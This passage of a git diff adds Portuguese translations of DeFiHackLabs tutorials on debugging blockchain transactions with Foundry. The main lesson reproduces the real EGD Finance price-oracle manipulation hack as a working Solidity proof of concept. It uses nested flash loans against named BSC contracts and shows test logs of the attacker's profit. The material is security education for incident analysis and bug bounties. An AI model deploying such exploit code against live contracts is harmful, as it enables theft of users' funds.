[phalcon](https://phalcon.blocksec.com/tx/eth/0x667cb82d993657f2779507a0262c9ed9098f5a387e8ec754b99f6e1d61d92d0b) para ver que foram executadas três etapas: 1. add_liquidity 2. transferFrom 3. mint + +![Imagem](https://user-images.githubusercontent.com/52526645/211032540-b8ad83af-44cf-48ea-b22c-6c79d4dac1af.png) + +## Proposta no Compound + +![Imagem](https://user-images.githubusercontent.com/52526645/211033609-60713c9d-1760-45d4-957f-a74e08abf9a5.png) + +A partir do [exemplo](https://etherscan.io/tx/0xba69b455c511c500e0be9453cf70319bc61e29eb4235a6e5ca5fe6ddf1934159) acima, podemos interpretar da seguinte forma: O usuário enviou uma proposta para o contrato de governança do Compound e você pode ver o conteúdo da proposta clicando em "Decode Input Data" no Etherscan. + +![Imagem](https://user-images.githubusercontent.com/52526645/211033906-e3446f69-404e-4347-a0c6-e1b622039c5a.png) + +Podemos usar o [phalcon](https://phalcon.blocksec.com/tx/eth/0xba69b455c511c500e0be9453cf70319bc61e29eb4235a6e5ca5fe6ddf1934159) para ver que a proposta foi enviada chamando a função propose e obteve o número da proposta 44. + +![Imagem](https://user-images.githubusercontent.com/52526645/211034346-a600cbf4-eed9-47ca-8b5a-88232808f3a3.png) + +## Flashswap na Uniswap + +Aqui, usamos o Foundry para simular como usar um flashswap na Uniswap. Consulte a [introdução oficial ao Flash swap](https://docs.uniswap.org/contracts/v2/guides/smart-contract-integration/using-flash-swaps) e o [código de exemplo](https://github.com/SunWeb3Sec/DeFiLabs/blob/main/src/test/Uniswapv2_flashswap.sol). + +![Imagem](https://user-images.githubusercontent.com/52526645/211125357-695c3fd0-4a56-4a70-9c98-80bac65586b8.png) + +```sh +forge test --contracts ./src/test/Uniswapv2_flashswap.sol -vv +``` +Neste exemplo, usamos um flashswap na Uniswap para emprestar 100 WETH e depois devolvê-lo à Uniswap. Observe que uma taxa de 0,3% deve ser paga ao devolver. + +A partir do fluxo de chamadas abaixo, podemos ver que a função swap é chamada para fazer o flashswap e, em seguida, a função de retorno uniswapV2Call é usada para devolver o empréstimo. + +![Imagem](https://user-images.githubusercontent.com/52526645/211038895-a1bc681a-41cd-4900-a745-3d3ddd0237d4.png) + +Vamos diferenciar brevemente a diferença entre Flashloan e Flashswap. Ambos permitem emprestar tokens sem a necessidade de garantia e devolvê-los na mesma transação, caso contrário, a transação falhará. No caso de um flashloan, se você emprestar token0 usando token1, precisará devolver token0. No caso de um flashswap, se você emprestar token0, poderá devolver token0 ou token1. É mais flexível. + +Para mais operações básicas de DeFi, consulte [DeFiLabs](https://github.com/SunWeb3Sec/DeFiLabs) + + +## Cheatcodes do Foundry + +Os cheatcodes do Foundry são essenciais para análise on-chain. Aqui, vou apresentar algumas funções comumente usadas. Para mais informações, consulte a [Referência de Cheatcodes](https://book.getfoundry.sh/cheatcodes/) + +- createSelectFork: Especifica qual rede e altura do bloco devem ser copiadas para o teste. Observe que o RPC de cada blockchain deve ser definido no arquivo [foundry.toml](https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/foundry.toml) +- deal: Define o saldo da carteira de teste + - Define o saldo de ETH `deal(address(this), 3 ether);` + - Define o saldo de tokens `deal(address(USDC), address(this), 1 * 1e18);` +- prank: Simula a identidade de uma carteira específica. Somente a próxima chamada será afetada. O próximo msg.sender será o endereço da carteira especificada. Por exemplo, simular uma transferência usando uma carteira de baleia. +- startPrank: Simula a identidade de uma carteira específica. Até que `stopPrank()` seja executado, todos os msg.sender serão o endereço da carteira especificada. +- label: Rotula um endereço de carteira para facilitar a leitura durante a depuração com o Foundry +- roll: Ajusta a altura do bloco +- warp: Ajusta o block.timestamp + +Obrigado por assistir, estamos prontos para a próxima aula. + +## Recursos +[Foundry book](https://book.getfoundry.sh/) + +[Awesome-foundry](https://github.com/crisgarner/awesome-foundry) + +[Foundry @EthCC](https://www.youtube.com/watch?v=wJnywGB33O4) | [Slides](https://docs.google.com/presentation/d/1AuQojnFMkozOiR8kDu5LlWT7vv1EfPytmVEeq1XMtM0/edit#slide=id.g13d8bd167cb_0_0) + +[WTF Solidity - Foundry](https://github.com/AmazingAng/WTF-Solidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md) + +[Flashloan vs Flashswap](https://blog.infura.io/post/build-a-flash-loan-arbitrage-bot-on-infura-part-i) +. + diff --git a/Languages/pt-br/Topics/Onchain_debug/03_write_your_own_poc/en/readme.md b/Languages/pt-br/Topics/Onchain_debug/03_write_your_own_poc/en/readme.md new file mode 100644 index 000000000..55e7515bc --- /dev/null +++ b/Languages/pt-br/Topics/Onchain_debug/03_write_your_own_poc/en/readme.md @@ -0,0 +1,560 @@ +# Depuração de Transações OnChain: 3. Escreva sua própria PoC (Manipulação de Oráculo de Preços) + +Autor: [▓▓▓▓▓▓](https://twitter.com/h0wsO1) + +Tradução: [Simon](https://www.linkedin.com/in/tysliu/) e [Helen](https://www.linkedin.com/in/helen-l-25b7a41a8/) + +No [01_Tools](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/01_tools/en), aprendemos como usar várias ferramentas para analisar transações em contratos inteligentes. + +No [02_Warm](https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/academy/onchain_debug/02_warmup/en/readme.md), analisamos uma transação em uma exchange descentralizada usando o Foundry. + +Para esta publicação, analisaremos um incidente de hacker utilizando uma exploração de oráculo. Vamos guiá-lo passo a passo pelas principais chamadas de função e, em seguida, reproduziremos o ataque juntos usando o framework Foundry. + + +## Por que a Reprodução de Ataques é Útil? + +Na DeFiHackLabs, pretendemos promover a segurança da Web3. Esperamos que, quando ocorram ataques, mais pessoas possam analisar e contribuir para a segurança geral. + +1. Como vítimas infelizes, melhoramos nossa resposta a incidentes e eficácia. +2. Como whitehat, melhoramos nossa capacidade de escrever PoCs e obter recompensas por bugs. +3. Ajudar a equipe de defesa a ajustar modelos de aprendizado de máquina. Por exemplo, [Forta Network](https://forta.org/blog/how-fortas-predictive-ml-models-detect-attacks-before-exploitation/). +4. Você aprenderá muito mais reproduzindo o ataque em comparação com a leitura de relatórios pós-mortem. +5. Melhore seu "Kung Fu" geral em Solidity. + +### Alguns Pontos Importantes Antes de Reproduzir Transações + +1. Compreensão dos modos de ataque comuns. Que foram selecionados em [DeFiVulnLabs](https://github.com/SunWeb3Sec/DeFiVulnLabs). +2. Compreensão dos mecanismos básicos de DeFi, incluindo como os contratos inteligentes interagem entre si. + +### Introdução ao Oráculo DeFi + +Atualmente, os valores de contratos inteligentes, como preços e configurações, não podem se atualizar automaticamente. Para executar sua lógica de contrato, às vezes é necessário dados externos durante a execução. Isso é normalmente feito com os seguintes métodos. + +1. Através de contas de propriedade externas. Podemos calcular o preço com base nas reservas dessas contas. +2. Usar um oráculo, que é mantido por alguém ou até mesmo por você mesmo. Com dados externos atualizados periodicamente, como preço, taxa de juros, qualquer coisa. + +* Por exemplo, no Uniswap V2, eles fornecem o preço atual do ativo, que é usado para determinar o valor relativo do ativo sendo negociado e, assim, executar a negociação. + + * Seguindo a figura, o preço do ETH é o dado externo. O contrato inteligente o obtém do Uniswap V2. + + Conhecemos a fórmula `x * y = k` em um AMM típico. `x` (preço do ETH neste caso) = `k / y`. + + Portanto, vamos dar uma olhada no contrato de par de negociação Uniswap V2 WETH/USDC. Neste endereço `0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc`. + +![UniV2PairInfo](https://user-images.githubusercontent.com/26408530/211231355-0d1fb43e-280e-4328-b71e-9797be5ce7ec.png) + +* No momento da publicação, vemos os seguintes valores de reserva: + + * WETH: `33,906.6145928` USDC: `42,346,768.252804` + + * Fórmula: Aplicando a fórmula `x * y = k`, obteremos o preço para cada ETH: + + `42,346,768.252804 / 33,906.6145928 = 1248.9235` + + (Os preços de mercado podem diferir do preço calculado por alguns centavos. Na maioria dos casos, isso se refere a uma taxa de negociação ou a uma nova transação que afeta o pool. Essa variação pode ser corrigida com `skim()`[^1].) + + * Pseudocódigo Solidity: Para o contrato de empréstimo buscar o preço atual do ETH, o pseudocódigo pode ser o seguinte: + +```solidity= +uint256 UniV2_ETH_Reserve = WETH.balanceOf(0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc); +uint256 UniV2_USDC_Reserve = USDC.balanceOf(0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc); +uint256 ETH_Price = UniV2_USDC_Reserve / UniV2_ETH_Reserve; +``` + > #### Observe que esse método de obtenção de preço é facilmente manipulável. Por favor, não o use no código de produção. + +[^1]: Skim() : +O Uniswap V2 é uma exchange descentralizada (DEX) que usa um pool de liquidez para negociar ativos. Ele possui uma função `skim()` como medida de segurança para proteger contra possíveis problemas de implementações de tokens personalizados que podem alterar o saldo do contrato de par. No entanto, `skim()` também pode ser usado em conjunto com manipulação de preço. +Consulte a figura para uma explicação completa do `skim()`. +![截圖 2023-01-11 下午5 08 07](https://user-images.githubusercontent.com/107821372/211970534-67370756-d99e-4411-9a49-f8476a84bef1.png) +Fonte da imagem / [Whitepaper do Uniswap V2 Core](https://uniswap.org/whitepaper.pdf) + +* Para mais informações, você pode seguir os recursos abaixo + * Mecanismos AMM do Uniswap V2: [Smart Contract Programmer](https://www.youtube.com/watch?v=Ar4Ik7Bov0U). + * Manipulação de oráculo: [WTFSolidity](https://github.com/WTFAcademy/WTF-Solidity/blob/main/S15_OracleManipulation/readme.md). + +### Modos de Ataque de Manipulação de Preço do Oráculo + +Modos de ataque mais comuns: + +1. Alterar o endereço do oráculo + * Causa raiz: falta de mecanismo de verificação + * Por exemplo: [Rikkei Finance](https://github.com/SunWeb3Sec/DeFiHackLabs#20220415-rikkei-finance---access-control--price-oracle-manipulation) +2. Através de empréstimos relâmpago, um atacante pode drenar a liquidez, resultando em informações de preço incorretas em um oráculo. + * Isso é mais comumente visto em chamadas de funções como GetPrice, Swap, StackingReward, Transfer (com taxa de queima), etc. + * Causa raiz: Protocolos que usam oráculos inseguros/comprometidos ou o oráculo não implementou recursos de preço médio ponderado pelo tempo. + * Exemplo: [One Ring Finance](https://github.com/SunWeb3Sec/DeFiHackLabs#20220321-onering-finance---flashloan--price-oracle-manipulation) + + > Dica de especialista - caso 2: Durante a revisão de código, verifique se a função `balanceOf()` está bem protegida. +--- +## PoC passo a passo - Um exemplo do EGD Finance + +### Passo 1: Coleta de informações + +* Ao descobrir um ataque, o Twitter geralmente é a linha de frente das consequências. Os principais analistas de DeFi publicarão continuamente suas novas descobertas lá. + +> Dica: Junte-se ao canal de alerta de segurança do [DeFiHackLabs Discord](https://discord.gg/Fjyngakf3h) para receber atualizações selecionadas dos principais analistas de DeFi! + +* Após um incidente de ataque, é importante coletar e organizar as informações mais recentes. Aqui está um modelo! + 1. ID da transação + 2. Endereço do atacante (EOA) + 3. Endereço do contrato de ataque + 4. Endereço vulnerável + 5. Perda total + 6. Links de referência + 7. Links pós-mortem + 8. Trecho vulnerável + 9. Histórico de auditoria + +> Dica: Use o modelo [Exploit-Template.sol](/script/Exploit-template.sol) do DeFiHackLabs. +--- +### Passo 2: Depuração da transação + +Com base na experiência, 12 horas após o ataque, 90% da autópsia do ataque já terá sido concluída. Geralmente não é muito difícil analisar o ataque nesse ponto. + +* Usaremos um caso real de [ataque de exploração do EGD Finance](https://twitter.com/BlockSecTeam/status/1556483435388350464) como exemplo, para ajudá-lo a entender: + 1. o risco na manipulação de oráculos. + 2. como lucrar com a manipulação de oráculos. + 3. transação de empréstimo relâmpago. + 4. como os atacantes reproduzem o ataque com apenas 1 transação para realizar o ataque. + +* Vamos usar o [Phalcon](https://phalcon.blocksec.com/tx/bsc/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3) do Blocksec para analisar o incidente do EGD Finance. +Screenshot 2023-01-11 at 4 59 15 PM + +* No Ethereum EVM, você verá 3 tipos de chamadas para acionar funções remotas: + 1. Call: Chamada de função típica entre contratos, geralmente alterará o armazenamento do receptor. + 2. StaticCall: Não alterará o armazenamento do receptor, usado para buscar estado e variáveis. + 3. DelegateCall: `msg.sender` permanecerá o mesmo, geralmente usado para chamadas de proxy. Consulte [WTF Solidity](https://github.com/WTFAcademy/WTF-Solidity/tree/main/23_Delegatecall) para mais detalhes. + +> Observe que as chamadas de função internas[^2] não são visíveis no Ethereum EVM. +[^2]: Chamadas de função internas são invisíveis para o blockchain, pois não criam novas transações ou blocos. Dessa forma, elas não podem ser lidas por outros contratos inteligentes ou aparecer no histórico de transações do blockchain. +* Mais informações - Modo de ataque de empréstimo relâmpago do atacante + 1. Verifique se o ataque será lucrativo. Primeiro, verifique se os empréstimos podem ser obtidos e, em seguida, verifique se o alvo tem saldo suficiente. + - Isso significa que você verá algumas chamadas 'static' no início. + 2. Use DEX ou Protocolos de Empréstimo para obter um empréstimo relâmpago, procure as seguintes chamadas de função principais + - UniswapV2, Pancakeswap: `.swap()` + - Balancer: `flashLoan()` + - DODO: `.flashloan()` + - AAVE: `.flashLoan()` + 3. Callbacks do protocolo de empréstimo relâmpago para o contrato do atacante, procure as seguintes chamadas de função principais + - UniswapV2: `.uniswapV2Call()` + - Pancakeswap: `.Pancakeswap()` + - Balancer: `.receiveFlashLoan()` + - DODO: `.DXXFlashLoanCall()` + - AAVE: `.executeOperation()` + 4. Execute o ataque para lucrar com a fraqueza do contrato. + 5. Devolva o empréstimo relâmpago + +### Prática: + +Identifique as várias etapas do ataque de exploração do EGD Finance em [Phalcon](https://phalcon.blocksec.com/tx/bsc/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3). Mais especificamente, 'flashloan', 'callback', 'weakness' e 'profit'. + +`Expandir Nível: 3` +TryToDecodeFromYourEyes + +> Dica: Se você não conseguir entender a lógica das chamadas de função individuais, tente rastrear toda a pilha de chamadas sequencialmente, faça anotações e preste atenção especial no rastro do dinheiro. Você terá uma compreensão muito melhor depois de fazer isso algumas vezes. +
A resposta + +Screenshot 2023-01-12 at 1 58 02 PM + +
+ + +### Passo 3: Reproduzir o código +Após a análise das chamadas de função da transação de ataque, vamos agora tentar reproduzir algum código: + +#### Passo A. Completar os fixtures. + +
Clique para mostrar o código + +```solidity= +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.17; + +import "forge-std/Test.sol"; +import "./interface.sol"; + +// @KeyInfo - Total Lost : ~36,044 US$ +// Attacker : 0xee0221d76504aec40f63ad7e36855eebf5ea5edd +// Attack Contract : 0xc30808d9373093fbfcec9e026457c6a9dab706a7 +// Vulnerable Contract : 0x34bd6dba456bc31c2b3393e499fa10bed32a9370 (Proxy) +// Vulnerable Contract : 0x93c175439726797dcee24d08e4ac9164e88e7aee (Logic) +// Attack Tx : https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3 + +// @Info +// Vulnerable Contract Code : https://bscscan.com/address/0x93c175439726797dcee24d08e4ac9164e88e7aee#code#F1#L254 +// Stake Tx : https://bscscan.com/tx/0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8 + +// @Analysis +// Blocksec : https://twitter.com/BlockSecTeam/status/1556483435388350464 +// PeckShield : https://twitter.com/PeckShieldAlert/status/1556486817406283776 + +// Declaring a global variable must be of constant type. +CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); +IPancakePair constant USDT_WBNB_LPPool = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE); +IPancakePair constant EGD_USDT_LPPool = IPancakePair(0xa361433E409Adac1f87CDF133127585F8a93c67d); +IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); +address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370; +address constant usdt = 0x55d398326f99059fF775485246999027B3197955; +address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98; + +contract Attacker is Test { // simulated attacker(EOA) + Exploit exploit = new Exploit(); + + constructor() { // can also be replaced with ‘function setUp() public {} + // Labels can be used to tag wallet addresses, making them more readable when using the 'forge test -vvvv' command." + cheat.label(address(USDT_WBNB_LPPool), "USDT_WBNB_LPPool"); + cheat.label(address(EGD_USDT_LPPool), "EGD_USDT_LPPool"); + cheat.label(address(pancakeRouter), "pancakeRouter"); + cheat.label(EGD_Finance, "EGD_Finance"); + cheat.label(usdt, "USDT"); + cheat.label(egd, "EGD"); + /* ------------------------------------------------------------------------------------------- */ + cheat.roll(20245539); //Note: The attack transaction must be forked from the previous block, as the victim contract state has not yet been modified at this time. + console.log("-------------------------------- Start Exploit ----------------------------------"); + } +} +``` +
+
+ +#### Passo B. Simular um atacante chamando a função harvest +
Clique para mostrar o código + +```solidity= +contract Attacker is Test { // simulated attacker(EOA) + Exploit exploit = new Exploit(); + + constructor() { + // Labels can be used to tag wallet addresses, making them more readable when using the 'forge test -vvvv' command. + cheat.label(address(USDT_WBNB_LPPool), "USDT_WBNB_LPPool"); + cheat.label(address(EGD_USDT_LPPool), "EGD_USDT_LPPool"); + cheat.label(address(pancakeRouter), "pancakeRouter"); + cheat.label(EGD_Finance, "EGD_Finance"); + cheat.label(usdt, "USDT"); + cheat.label(egd, "EGD"); + /* ------------------------------------------------------------------------------------------- */ + cheat.roll(20245539); //The attack transaction must be forked from the previous block, as the victim contract state has not yet been modified at this time. + console.log("-------------------------------- Start Exploit ----------------------------------"); + } + + function testExploit() public { // To be executed by Foundry testcases, it must be named "test" at the start. + //To observe the changes in the balance, print out the balance first, before attacking. + emit log_named_decimal_uint("[Start] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18); + emit log_named_decimal_uint("[INFO] EGD/USDT Price before price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18); + emit log_named_decimal_uint("[INFO] Current earned reward (EGD token)", IEGD_Finance(EGD_Finance).calculateAll(address(exploit)), 18); + + console.log("Attacker manipulating price oracle of EGD Finance..."); + exploit.harvest(); //A simulation of an EOA call attack + console.log("-------------------------------- End Exploit ----------------------------------"); + emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18); + } +} +/* -------------------- Interface -------------------- */ +interface IEGD_Finance { + function calculateAll(address addr) external view returns (uint); +} +``` +
+
+ +#### Passo C. Completar parte do contrato de ataque +
Clique para mostrar o código + +```solidity= +/* Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee */ +contract Exploit is Test{ // attack contract + uint256 borrow1; + + function harvest() public { + console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve"); + borrow1 = 2000 * 1e18; + USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000"); + console.log("Flashloan[1] payback success"); + IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); //Profit realization + } + + + function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public { + console.log("Flashloan[1] received"); + + // Weakness exploit... + + // Exchange the stolen EGD Token for USDT + console.log("Swap the profit..."); + address[] memory path = new address[](2); + path[0] = egd; + path[1] = usdt; + IERC20(egd).approve(address(pancakeRouter), type(uint256).max); + pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( + IERC20(egd).balanceOf(address(this)), + 1, + path, + address(this), + block.timestamp + ); + + bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 10e18); //The attacker repays 2,000 USDT + 0.5% service fee + require(suc, "Flashloan[1] payback failed"); + } +} +``` + +
+
+ + +### Passo 4: Analisando a exploração + +Vemos aqui que o atacante chamou a função `Pancakeswap.swap()` para aproveitar a exploração, parece que há uma segunda chamada de empréstimo relâmpago na pilha de chamadas. +![Flashloan2](https://user-images.githubusercontent.com/26408530/211231489-4977bc1d-4ed0-45f8-b014-8de92942fe4f.png) + +* O Pancakeswap usa a interface `.pancakeCall()` para realizar uma chamada de retorno no contrato do atacante. Você pode estar se perguntando como o atacante está executando códigos diferentes durante cada uma das duas chamadas de retorno. + +A chave está no primeiro empréstimo relâmpago, o atacante usou `0x0000` nos dados de retorno. +![FlashloanCallbackData1](https://user-images.githubusercontent.com/26408530/211231501-7b8e508a-a6fe-4f28-9308-5406d0dec32f.png) + +No entanto, durante o segundo empréstimo relâmpago, o atacante usou `0x00` nos dados de retorno. +![FlashloanCallbackData2](https://user-images.githubusercontent.com/26408530/211231506-e76cc110-3969-486d-b917-7ddec3d46ee5.png) + + +Através desse método, um contrato de ataque pode determinar qual código executar com base no parâmetro `_data`. Que pode ser 0x0000 ou 0x00. + +* Vamos continuar analisando a lógica da segunda chamada de retorno durante o segundo empréstimo relâmpago. + +Durante a segunda chamada de retorno, o atacante chamou apenas `claimAllReward()` do EGD Finance: + +![CallClaimReward](https://user-images.githubusercontent.com/26408530/211231522-a54ef929-63e3-4b9c-8f0c-e609c2055b2c.png) + +Expandindo ainda mais a chamada de função `claimAllReward()`. Você encontrará o EGD Finance realizando uma leitura em `0xa361-Cake-LP` para o saldo do EGD Token e USDT, em seguida, transferindo uma grande quantidade de EGD Token para o contrato do atacante. + +![ClaimRewardDetail](https://user-images.githubusercontent.com/26408530/211231532-d9b0e7ce-ee65-48fb-a2eb-6fccbb799234.png) + +
O que é o contrato '0xa361-Cake-LP'? + +Usando o Etherscan, podemos ver a que par de negociação `0xa361-Cake-LP` corresponde. + +* Opção 1 (mais rápida): Veja os dois maiores tokens de reserva do contrato em [Etherscan](https://bscscan.com/address/0xa361433e409adac1f87cdf133127585f8a93c67d) + +![Etherscan-Top2](https://user-images.githubusercontent.com/26408530/211231654-613672c0-400d-4e53-891c-4c309d8ce84c.png) +* Opção 2 (mais precisa): [Leia o contrato](https://bscscan.com/address/0xa361433e409adac1f87cdf133127585f8a93c67d#readContract) Verifique o endereço do token0 e token1. + +Etherscan-ReadContract + +Isso indica que `0xa361-Cake-LP` é o contrato de par de negociação EGD/USDT. + +
+
+ +* Vamos analisar a função `claimAllReward()` para ver onde está a exploração. +ClaimRewardCode + +Vemos que a quantidade de recompensa de Staking é baseada no fator de recompensa `quota` (ou seja, a quantidade de staking e a duração do staking) multiplicada por `getEGDPrice()` o preço atual do token EGD. + +**Em outras palavras, a recompensa de Staking do EGD é baseada no preço do token EGD. Menos recompensa é obtida em um preço alto do token EGD e vice-versa.** + +* Agora vamos verificar como a função `getEGDPrice()` obtém o preço atual do token EGD: + +getEGDPrice + +Vemos a conhecida equação `x * y = k`, como a que introduzimos anteriormente na seção de introdução ao oráculo DeFi, para obter o preço atual. O endereço do par de negociação é `0xa361-Cake-LP`, que corresponde às duas chamadas STATICCALLs da visualização da transação. + +![getEGDPrice_Static](https://user-images.githubusercontent.com/26408530/211231574-bb7a652d-3538-4ca1-859d-a30962014d44.png) + +Então, como o atacante está aproveitando esse método inseguro de obter preços atuais? + +O mecanismo subjacente é que, a partir do segundo empréstimo relâmpago, o atacante pegou uma grande quantidade de USDT, influenciando assim o preço do pool com base na fórmula `x * y = k`. Antes de devolver o empréstimo, o `getEGDPrice()` estará incorreto. + +Diagrama de referência: +![CleanShot 2023-01-12 at 17 01 46@2x](https://user-images.githubusercontent.com/107821372/212027306-3a7f9a8c-4995-472c-a8c7-39e5911b531d.png) +**Conclusão: O atacante usou um empréstimo relâmpago para alterar a liquidez do par de negociação EGD/USDT, resultando em `ClaimReward()` obtendo um preço incorreto, permitindo que o atacante obtenha uma quantidade absurda de tokens EGD.** + +Por fim, o atacante trocou o token EGD por USDT usando o Pancakeswap, lucrando assim com o ataque. + + +--- +### Passo 5: Reproduzir +Agora que entendemos completamente o ataque, vamos reproduzi-lo: + +Passo D. Escreva o código PoC para o ataque + +
Clique para mostrar o código + +```solidity= +/* Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee */ +contract Exploit is Test{ // attack contract + uint256 borrow1; + uint256 borrow2; + + + function harvest() public { + console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve"); + borrow1 = 2000 * 1e18; + USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000"); + console.log("Flashloan[1] payback success"); + IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); //Profit realization + } + + + function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public { + console.log("Flashloan[1] received"); + + if(keccak256(data) == keccak256("0000")) { + console.log("Flashloan[1] received"); + + console.log("Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve"); + borrow2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9999999925 / 10000000000; //The attacker lends 99.99999925% of the USDT liquidity of the EGD_USDT_LPPool. + EGD_USDT_LPPool.swap(0, borrow2, address(this), "00"); // Borrow Flashloan[2] + console.log("Flashloan[2] payback success"); + + // Exchange the stolen EGD Token for USDT after the exploit is over. + console.log("Swap the profit..."); + address[] memory path = new address[](2); + path[0] = egd; + path[1] = usdt; + IERC20(egd).approve(address(pancakeRouter), type(uint256).max); + pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( + IERC20(egd).balanceOf(address(this)), + 1, + path, + address(this), + block.timestamp + ); + + bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 10e18); //The attacker repays 2,000 USDT + 0.5% service fee. + require(suc, "Flashloan[1] payback failed"); + } else { + console.log("Flashloan[2] received"); + // Exploitation... + } + + + } +} +``` + +
+
+ + + +Passo E. Escreva o código PoC para o segundo empréstimo relâmpago usando a exploração + +
Clique para mostrar o código + +```solidity= +/* Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee */ +contract Exploit is Test{ // attack contract + uint256 borrow1; + uint256 borrow2; + + + function harvest() public { + console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve"); + borrow1 = 2000 * 1e18; + USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000"); + console.log("Flashloan[1] payback success"); + IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); //Profit realization + } + + + function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public { + console.log("Flashloan[1] received"); + + if(keccak256(data) == keccak256("0000")) { + console.log("Flashloan[1] received"); + + console.log("Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve"); + borrow2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9999999925 / 10000000000; //The attacker lends 99.99999925% of the USDT liquidity of the EGD_USDT_LPPool. + EGD_USDT_LPPool.swap(0, borrow2, address(this), "00"); // Borrow Flashloan[2] + console.log("Flashloan[2] payback success"); + + // Exchange the stolen EGD Token for USDT after the exploit is over. + console.log("Swap the profit..."); + address[] memory path = new address[](2); + path[0] = egd; + path[1] = usdt; + IERC20(egd).approve(address(pancakeRouter), type(uint256).max); + pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( + IERC20(egd).balanceOf(address(this)), + 1, + path, + address(this), + block.timestamp + ); + + bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 10e18); //The attacker repays 2,000 USDT + 0.5% service fee. + require(suc, "Flashloan[1] payback failed"); + } else { + console.log("Flashloan[2] received"); + // Exploitation... + } + } +} +/* -------------------- Interface -------------------- */ +interface IEGD_Finance { + function calculateAll(address addr) external view returns (uint); + function claimAllReward() external; + function getEGDPrice() external view returns (uint); +} +``` + +
+
+ +Passo F. Execute o código com `forge test --contracts ./src/test/EGD-Finance.exp.sol -vvv`. Preste atenção na mudança de saldos. + +[DeFiHackLabs - EGD-Finance.exp.sol](https://github.com/finn79426/DeFiHackLabs/blob/main/src/test/EGD-Finance.exp.sol) + +``` +Running 1 test for src/test/EGD-Finance.exp.sol:Attacker +[PASS] testExploit() (gas: 537204) +Logs: +Tx: 0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8 + Attacker Stake 10 USDT to EGD Finance + -------------------------------- Start Exploit ---------------------------------- + [Start] Attacker USDT Balance: 0.000000000000000000 + [INFO] EGD/USDT Price before price manipulation: 0.008096310933284567 + [INFO] Current earned reward (EGD token): 0.000341874999999972 + Attacker manipulating price oracle of EGD Finance... + Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve + Flashloan[1] received + Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve + Flashloan[2] received + [INFO] EGD/USDT Price after price manipulation: 0.000000000060722331 + Claim all EGD Token reward from EGD Finance contract + [INFO] Get reward (EGD token): 5630136.300267721935770000 + Flashloan[2] payback success + Swap the profit... + Flashloan[1] payback success + -------------------------------- End Exploit ---------------------------------- + [End] Attacker USDT Balance: 18062.915446991996902763 + +Test result: ok. 1 passed; 0 failed; finished in 1.66s +``` + + +Observação: EGD-Finance.exp.sol do DeFiHackLabs inclui uma etapa preventiva que é o staking. + +Esta explicação não inclui essa etapa, sinta-se à vontade para tentar você mesmo! Attacker Stack Tx: 0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8 + + +#### A terceira parte do compartilhamento terminará aqui, se você deseja aprender mais, confira os links abaixo. + +--- +### Materiais de aprendizagem + +[samczsun's eth txn explorer and vscode extension](https://www.youtube.com/watch?v=HXgu239mPBc) + +[Vulnerabilities in DeFi by Daniel V.F.](https://www.youtube.com/watch?v=9fcOffCg2ig) + +[Tenderly.co - Debug Transaction](https://www.youtube.com/watch?v=90GN9Ut8LhU) + +[Reversing The EVM: Raw Calldata](https://degatchi.com/articles/reading-raw-evm-calldata) + +[https://web3sec.xrex.io/](https://web3sec.xrex.io/) + +--- +### Apêndice + +. + diff --git a/Languages/pt-br/Topics/Onchain_debug/03_write_your_own_poc/readme.md b/Languages/pt-br/Topics/Onchain_debug/03_write_your_own_poc/readme.md new file mode 100644 index 000000000..2fc46411e --- /dev/null +++ 